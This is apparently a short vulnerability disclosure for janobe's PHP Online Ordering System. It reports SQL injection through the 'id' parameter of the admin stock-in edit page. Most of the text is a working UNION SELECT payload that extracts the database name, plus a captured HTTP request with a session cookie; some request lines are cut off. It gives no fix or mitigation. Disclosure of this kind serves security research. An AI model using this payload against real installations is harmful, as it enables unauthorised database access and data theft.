debug601 Create SQLi-6.md History

1 contributor

29 lines (20 sloc) | 1.22 KB

Online Ordering System By janobe has SQL injection vulnerability

Author： k0xx

vendor: https://www.sourcecodester.com/php/12978/online-ordering-system-phpmysqli.html

Vulnerability file: /ordering/admin/stockin/index.php?view=edit&id=

Vulnerability location: /ordering/admin/stockin/index.php?view=edit&id= //id is Injection point

[+]Payload: /ordering/admin/stockin/index.php?view=edit&id=-2%27%20union%20select%201,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--+ //id is Injection point

Current database name: multistoredb

```
GET /ordering/admin/stockin/index.php?view=edit&id=-2%27%20union%20select%201,databa
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=0m2td1md252hlnr3nsbmc5ss99
Connection: close
```